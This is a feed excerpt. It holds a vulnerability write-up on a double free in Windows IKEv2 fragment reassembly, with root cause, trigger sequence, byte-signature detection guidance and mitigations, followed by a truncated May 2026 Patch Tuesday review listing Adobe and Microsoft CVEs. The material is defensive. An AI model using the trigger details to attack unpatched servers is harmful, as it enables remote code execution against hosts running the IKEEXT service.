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  <p class="">A double free vulnerability has been reported in the Windows Internet Key Exchange (IKEv2) service. The vulnerability is due to an error when processing fragments.</p><p class="">An unauthenticated, remote attacker could exploit this vulnerability by sending crafted packets to the target server. Successful exploitation could result in a crash of the IKEEXT service, or potentially arbitrary code execution.</p><p class=""><strong>The Vulnerability</strong></p><p class="">Microsoft Windows is an operating system which includes both server and desktop components along with an easy-to-use GUI. All currently supported versions of Windows include Internet Key Exchange Protocol Extensions to support the Virtual Private Network (VPN) feature.</p><p class="">The VPN feature of Windows encrypts communication between hosts. ISAKMP is a negotiation protocol used by IPsec-enabled hosts to build a security association. It uses the <a href="https://datatracker.ietf.org/doc/html/rfc7296">Internet Key Exchange (IKE) Protocol</a> in order to negotiate keys for encrypted communication. IKE has two versions: IKEv1 and IKEv2. IKE version 1 (IKEv1) and version 2 (IKEv2) messages have the following general format:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">The type of <em>payload</em> is determined by the <em>Next Payload</em> header of the previous <em>payload</em>, or the <em>Next Payload</em> field in the header (in the case of the first payload).</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  




  <p class="">IKEv2 supports message fragmentation as defined in <a href="https://datatracker.ietf.org/doc/html/rfc7383">RFC 7383</a>. When IKEv2 messages exceed the path MTU, they may be split into multiple Encrypted Fragment payloads. Of interest to this report is the Encrypted Fragment (SKF) payload (type 0x35). The SKF payload format is defined as:</p>





















  
  




  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p>When an IKEv2 implementation receives fragments, it inserts each fragment into an ordered list and reassembles them once all fragments have been received. In the Windows implementation, the function <code>IkeReinjectReassembledPacket()</code> performs this reassembly.</p>
<p>A double-free vulnerability has been reported in the Windows IKE Extension library (ikeext.dll). The vulnerability is due to improper ownership handling of a heap-allocated blob pointer during IKEv2 fragment reassembly. During the IKE_SA_INIT exchange, a Security Realm Vendor ID payload causes <code>IkeHandleSecurityRealmVendorId()</code> to allocate a blob and store it in the MMSA (Main Mode Security Association) structure at offset 0x208. When a fragmented IKE_AUTH message is fully reassembled, <code>IkeReinjectReassembledPacket</code> copies MMSA fields at offsets 0x178 through 0x21F - including the blob pointer at 0x208 - into a local stack struct. This struct is then passed to <code>IkeQueueRecvRequest</code>, which shallow-copies it into a heap-allocated work item. While <code>IkeQueueRecvRequest</code> deep-copies the reassembly buffer at offset 0x10 in the struct, the Security Realm blob pointer at offset 0xC8 remains a shallow copy, aliasing the original at MMSA+0x208.</p>
<p>When the thread pool processes the queued work item, <code>IkeDestroyPacketContext</code> checks the blob pointer at offset 0xC8 and calls <code>WfpMemFree</code> to release it (first free). The MMSA structure still holds the original pointer to the same allocation at offset 0x208. When the MMSA is subsequently cleaned up through <code>IkeCleanupMMNegotiation</code>, the SA reference count is decremented via <code>IkeDerefMMSA</code>, eventually triggering <code>IkeFreeMMSA</code>, which frees the blob pointer at MMSA offset 0x208 - the same allocation already freed by <code>IkeDestroyPacketContext</code> (second free).</p>
<p>A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted IKE_SA_INIT message followed by two or more Encrypted Fragment (SKF) payloads containing an invalid IKE_AUTH message to the target server. The fragment reassembly path will shallow-copy the blob pointers, and the subsequent MMSA cleanup will trigger the double free. Successful exploitation could result in arbitrary code execution under the security context of the IKEEXT service (SYSTEM).</p>
<p><b data-preserve-html-node="true">Source Code Walkthrough</b></p>
<p>The following code snippets were taken from IKEEXT.DLL file version 10.0.20348.2849 and decompiled with IDA Pro version 8.3. Comments added by TrendAI have been highlighted.</p>


  


  
  
    
    
      
        
        
        
        
          
        
        
        
      
    
  
  
    



  



  

<p><b data-preserve-html-node="true">Detection Guidance</b></p>
<p>To detect an attack exploiting this vulnerability, the detection device must monitor and parse traffic on UDP ports 500 and 4500. The IKE general format, Payloads field, and the Encrypted Fragment (SKF) payload format can be seen above. </p>
<p>The detection device should monitor all incoming IKE traffic. Detection requires correlating two packets within the same IKE session: an IKE_SA_INIT request carrying the Microsoft Security Realm Vendor ID, followed by a fragmented IKE_AUTH request. Neither packet alone is malicious; both must be observed in sequence from the same source.</p>
<p><b data-preserve-html-node="true">IKE_SA_INIT</b></p>
<p>At byte offset 17 of the UDP payload, the device should check for the three-byte sequence <code>20 22 08</code>, which corresponds to the IKEv2 version identifier (0x20), the IKE_SA_INIT exchange type (0x22), and the Initiator flag (0x08). The device should then scan the remainder of the packet for the 16-byte sequence <code>68 6a 8c bd fe 63 4b 40 51 46 fb 2b af 33 e9 e8</code>, which is the Microsoft Security Realm Vendor ID. If both conditions are met, the device should follow the guidance below.</p>
<p><b data-preserve-html-node="true">IKE_AUTH</b></p>
<p>For subsequent packets from the same source, the device should check bytes at offset 16 through 23 of the UDP payload. At offset 16, the four-byte sequence <code>35 20 23 08</code> identifies an Encrypted Fragment payload (SKF, type 0x35), IKEv2 version (0x20), IKE_AUTH exchange type (0x23), and Initiator flag (0x08). If found, the detection device should inspect offset 20 and search for the four-byte sequence<code>00 00 00 01</code>. If found the traffic should be considered malicious; an attack exploiting this vulnerability is likely underway.</p>
<p>Notes<br>•	All multi-byte values should be treated as big endian.<br>•	When detecting traffic on port 4500, IKE packets are prepended by a 4-byte non-ESP marker (<code>\x00\x00\x00\x00</code>), shifting all IKE header content offsets by 4.</p>




  <p class=""><strong>Conclusion</strong></p><p class="">This vulnerability was <a href="https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-33824">patched</a> by Microsoft in the April 2026 release cycle. They do note two mitigations that could prevent exploitation while the patch is being tested and deployed. </p><p class="">·      Block inbound traffic on UDP ports 500 and 4500 for systems that do not use IKE. </p><p class="">·      For systems that require IKE, configure firewall rules to allow inbound traffic on UDP ports 500 and 4500 only from known peer addresses.</p><p class="">These mitigations may be removed once the security patch is applied. The only way to fully remediate the vulnerability is to apply the update from the vendor.</p><p class="">Special thanks to Richard Chen and Lucas Miller of the TrendAI Research team for providing such a thorough analysis of this vulnerability. For an overview of TrendAI Research services please visit <a href="https://go.trendmicro.com/tis/vulnerabilities.html">https://go.trendmicro.com/tis/vulnerabilities.html</a>.</p><p class="">The threat research team will be back with other great vulnerability analysis reports in the future. Until then, follow the team on <a href="https://www.twitter.com/thezdi">Twitter</a>, <a href="https://infosec.exchange/@thezdi">Mastodon</a>, <a href="https://www.linkedin.com/company/zerodayinitiative">LinkedIn</a>, or <a href="https://bsky.app/profile/thezdi.bsky.social">Bluesky</a> for the latest in exploit techniques and security patches.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The May 2026 Security Update Review]]></title>
<description><![CDATA[I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patch...]]></description>
<link>https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694568/hacking/the-may-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:02:56 +0200</pubDate>
<category>🕵️ Hacking</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I’m currently in Berlin helping set up for Pwn2Own Berlin, but that doesn’t stop Patch Tuesday from coming, and it’s another big one. At least nothing is listed as being in the wild – for now. Take a break from your regularly scheduled activities and let’s take a look at the latest security patches from Adobe and Microsoft. Due to technical difficulties, there will not be a video companion for this month.</p><p class=""><strong>Adobe Patches for May 2026</strong></p><p class="">For May, Adobe released 10 bulletins addressing 52 unique CVEs in Adobe Commerce, After Effects, Adobe Connect, Illustrator, Media Encoder, Premiere Pro, Substance 3D Painter, Substance 3D Sampler, Content Authenticity SDK, and the Adobe Substance 3D Designer. Here’s this month’s overview table:</p>





















  
  




  


  
    


<table>
<colgroup>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
  <col>
</colgroup>
<thead>
  <tr>
    <th>Bulletin ID</th>
    <th>Product</th>
    <th>CVE Count</th>
    <th>Highest Severity</th>
    <th>Highest CVSS</th>
    <th>Exploited</th>
    <th>Deployment Priority</th>
  </tr>
</thead>
<tbody>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/magento/apsb26-49.html" target="_blank">APSB26-49</a></td>
    <td>Adobe Commerce</td>
    <td>15</td>
    <td>Critical</td>
    <td>8.7</td>
    <td>No</td>
    <td>2</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/after_effects/apsb26-48.html" target="_blank">APSB26-48</a></td>
    <td>Adobe After Effects</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/connect/apsb26-50.html" target="_blank">APSB26-50</a></td>
    <td>Adobe Connect</td>
    <td>2</td>
    <td>Critical</td>
    <td>9.6</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/illustrator/apsb26-51.html" target="_blank">APSB26-51</a></td>
    <td>Adobe Illustrator</td>
    <td>4</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/media-encoder/apsb26-47.html" target="_blank">APSB26-47</a></td>
    <td>Adobe Media Encoder</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/premiere_pro/apsb26-46.html" target="_blank">APSB26-46</a></td>
    <td>Adobe Premiere Pro</td>
    <td>3</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_painter/apsb26-55.html" target="_blank">APSB26-55</a></td>
    <td>Adobe Substance 3D Painter</td>
    <td>2</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d-sampler/apsb26-54.html" target="_blank">APSB26-54</a></td>
    <td>Adobe Substance 3D Sampler</td>
    <td>1</td>
    <td>Critical</td>
    <td>7.8</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/content-authenticity-sdk/apsb26-53.html" target="_blank">APSB26-53</a></td>
    <td>Content Authenticity SDK</td>
    <td>14</td>
    <td>Critical</td>
    <td>7.5</td>
    <td>No</td>
    <td>3</td>
  </tr>
  <tr>
    <td><a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-52.html" target="_blank">APSB26-52</a></td>
    <td>Adobe Substance 3D Designer</td>
    <td>5</td>
    <td>Important</td>
    <td>6.3</td>
    <td>No</td>
    <td>3</td>
  </tr>
</tbody>
<tfoot>
  <tr>
    <td>TOTAL</td>
    <td>10 bulletins</td>
    <td>52</td>
    <td></td>
    <td></td>
    <td></td>
    <td></td>
  </tr>
</tfoot>
</table>



  
  









  <p class="">The obvious priority this month is the patch for Commerce, with its 15 bugs and deployment priority of 2. The Connect fix should also rank up there since both of its CVEs are CVSS 9s. Beyond those, it’s a pretty typical month for Adobe, with most of the bugs either being cross-site scripting (XSS) or open-and-own code executions.</p><p class=""><strong>Microsoft Patches for May 2026</strong></p><p class="">This month, Microsoft released a whopping 138 new CVEs in Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Copilot Chat, Github Copilot, M365 Copilot, SQL Server, TCP/IP, and the Telnet Client – yes, the Telnet client. Two of these bugs were reported through the TrendAI ZDI program. 30 of these bugs are rated Critical, three are rated as Moderate, one is rated Low, and the rest are rated Important in severity.</p><p class="">This large volume of fixes follows the largest monthly release in Microsoft’s history and reflects the trend across the industry of a high number of submissions. While not all of these bugs were found by AI, it’s likely they had an AI-related component – even if it was just AI writing the submission. I should also point out the Pwn2Own Berlin occurs in just a few days, and it’s typical for vendors to patch as much as they can before the event.</p><p class="">None of the bugs patched by Microsoft this month are listed as publicly known or under active attack at the time of release, so we’ve got that going for us. Let’s take a closer look at some of the more interesting updates for this month, starting with a nasty-looking bug in DNS:</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><strong>CVE-2026-41096</strong></a><strong> - Windows DNS Client Remote Code Execution Vulnerability<br></strong>This patch fixes a heap-based buffer overflow in the DNS Client triggered by a malicious DNS response. No authentication or user interaction needed, and since the DNS Client runs on virtually every Windows machine, the attack surface is enormous. An attacker with a position to influence DNS responses (MitM, rogue server) could achieve unauthenticated RCE across your enterprise.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><strong>CVE-2026-41089</strong></a><strong> - Windows Netlogon Remote Code Execution Vulnerability<br></strong>This update covers another CVSS 9.8 bug, which is a stack-based buffer overflow that lets an unauthenticated remote attacker execute code on a domain controller by sending a specially crafted network request — no credentials, no user interaction required. Yup – that makes it wormable. This is the highest-impact bug that requires immediate patching: a compromised domain controller is a compromised domain.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><strong>CVE-2026-42898</strong></a><strong> - Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability<br></strong>This bug rates a CVSS 9.9(!) and represents a code injection in Dynamics 365. It allows any authenticated user to execute code with a scope change, meaning exploitation can break out and affect resources beyond the vulnerable component itself. Scope changes are pretty rare, so if you’re running Dynamics 365 On-Prem, definitely test and deploy this patch quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40415"><strong>CVE-2026-40415</strong></a><strong> - Windows TCP/IP Remote Code Execution Vulnerability<br></strong>This bug in the TCP/IP stack results from a use-after-free (UAF) and could allow a remote, unauthenticated threat actor to execute code without user interaction. That makes this another wormable bug. However, this one is much less likely to be exploited. The target needs to be under sustained low-memory (memory pressure) conditions, which is pretty rare. Still, no need to tempt fate here. Test and deploy this one quickly.</p><p class="">Here’s the full list of CVEs released by Microsoft for May 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026-May-cvrf.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="920">
 <col width="144">
 <col width="256">
 <col width="104" span="5">
 <tr height="47">
  <td width="144" class="xl65" height="47">CVE</td>
  <td width="256" class="xl65">Title</td>
  <td width="104" class="xl66">Severity</td>
  <td width="104" class="xl66">CVSS</td>
  <td width="104" class="xl66">Public</td>
  <td width="104" class="xl66">Exploited</td>
  <td width="104" class="xl66">Type</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35435"><span>CVE-2026-35435</span></a></td>
  <td width="256" class="xl73">Azure AI Foundry
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35428"><span>CVE-2026-35428</span></a></td>
  <td width="256" class="xl73">Azure Cloud Shell
  Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42826"><span>CVE-2026-42826</span></a></td>
  <td width="256" class="xl73">Azure DevOps
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">10</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32207"><span>CVE-2026-32207</span></a></td>
  <td width="256" class="xl73">Azure Machine Learning
  Notebook Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33109"><span>CVE-2026-33109</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33844"><span>CVE-2026-33844</span></a></td>
  <td width="256" class="xl73">Azure Managed Instance
  for Apache Cassandra Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41105"><span>CVE-2026-41105</span></a></td>
  <td width="256" class="xl73">Azure Monitor Action
  Group Notification System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33111"><span>CVE-2026-33111</span></a></td>
  <td width="256" class="xl73">Copilot Chat
  (Microsoft Edge) Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26129"><span>CVE-2026-26129</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-26164"><span>CVE-2026-26164</span></a></td>
  <td width="256" class="xl73">M365 Copilot
  Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33821"><span>CVE-2026-33821</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  Customer Insights Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42898"><span>CVE-2026-42898</span></a></td>
  <td width="256" class="xl73">Microsoft Dynamics 365
  On-Premises Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40379"><span>CVE-2026-40379</span></a></td>
  <td width="256" class="xl73">Microsoft Enterprise
  Security Token Service (ESTS) Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40363"><span>CVE-2026-40363</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40358"><span>CVE-2026-40358</span></a></td>
  <td width="256" class="xl73">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-34327"><span>CVE-2026-34327</span></a></td>
  <td width="256" class="xl73">Microsoft Partner
  Center Spoofing Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40365"><span>CVE-2026-40365</span></a></td>
  <td width="256" class="xl73">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41103"><span>CVE-2026-41103</span></a></td>
  <td width="256" class="xl73">Microsoft SSO Plugin
  for Jira &amp; Confluence Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl67" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33823"><span>CVE-2026-33823</span></a></td>
  <td width="256" class="xl73">Microsoft Team Events
  Portal Information Disclosure Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40364"><span>CVE-2026-40364</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40366"><span>CVE-2026-40366</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40361"><span>CVE-2026-40361</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40367"><span>CVE-2026-40367</span></a></td>
  <td width="256" class="xl73">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42831"><span>CVE-2026-42831</span></a></td>
  <td width="256" class="xl73">Office for Android
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41096"><span>CVE-2026-41096</span></a></td>
  <td width="256" class="xl73">Windows DNS Client
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35421"><span>CVE-2026-35421</span></a></td>
  <td width="256" class="xl73">Windows GDI Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="71">
  <td class="xl67" height="71"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40403"><span>CVE-2026-40403</span></a></td>
  <td width="256" class="xl73">Windows Graphics
  Component Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40402"><span>CVE-2026-40402</span></a></td>
  <td width="256" class="xl73">Windows Hyper-V
  Elevation of Privilege Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32161"><span>CVE-2026-32161</span></a></td>
  <td width="256" class="xl73">Windows Native WiFi
  Miniport Driver Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41089"><span>CVE-2026-41089</span></a></td>
  <td width="256" class="xl73">Windows Netlogon
  Remote Code Execution Vulnerability</td>
  <td class="xl68">Critical</td>
  <td class="xl69">9.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32175"><span>CVE-2026-32175</span></a></td>
  <td width="256" class="xl73">.NET Core Tampering
  Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">4.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Tampering</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-32177"><span>CVE-2026-32177</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-35433"><span>CVE-2026-35433</span></a></td>
  <td width="256" class="xl73">.NET Elevation of
  Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-54518"><span>CVE-2025-54518 *</span></a></td>
  <td width="256" class="xl73">AMD: CVE-2025-54518
  CPU OP Cache Corruption</td>
  <td class="xl70">Important</td>
  <td class="xl69"></td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42899"><span>CVE-2026-42899</span></a></td>
  <td width="256" class="xl73">ASP.NET Core Denial of
  Service Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40381"><span>CVE-2026-40381</span></a></td>
  <td width="256" class="xl73">Azure Connected
  Machine Agent Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42823"><span>CVE-2026-42823 †</span></a></td>
  <td width="256" class="xl73">Azure Logic Apps
  Elevation of Privilege Vulnerability</td>
  <td class="xl70">Important</td>
  <td class="xl69">9.9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="47">
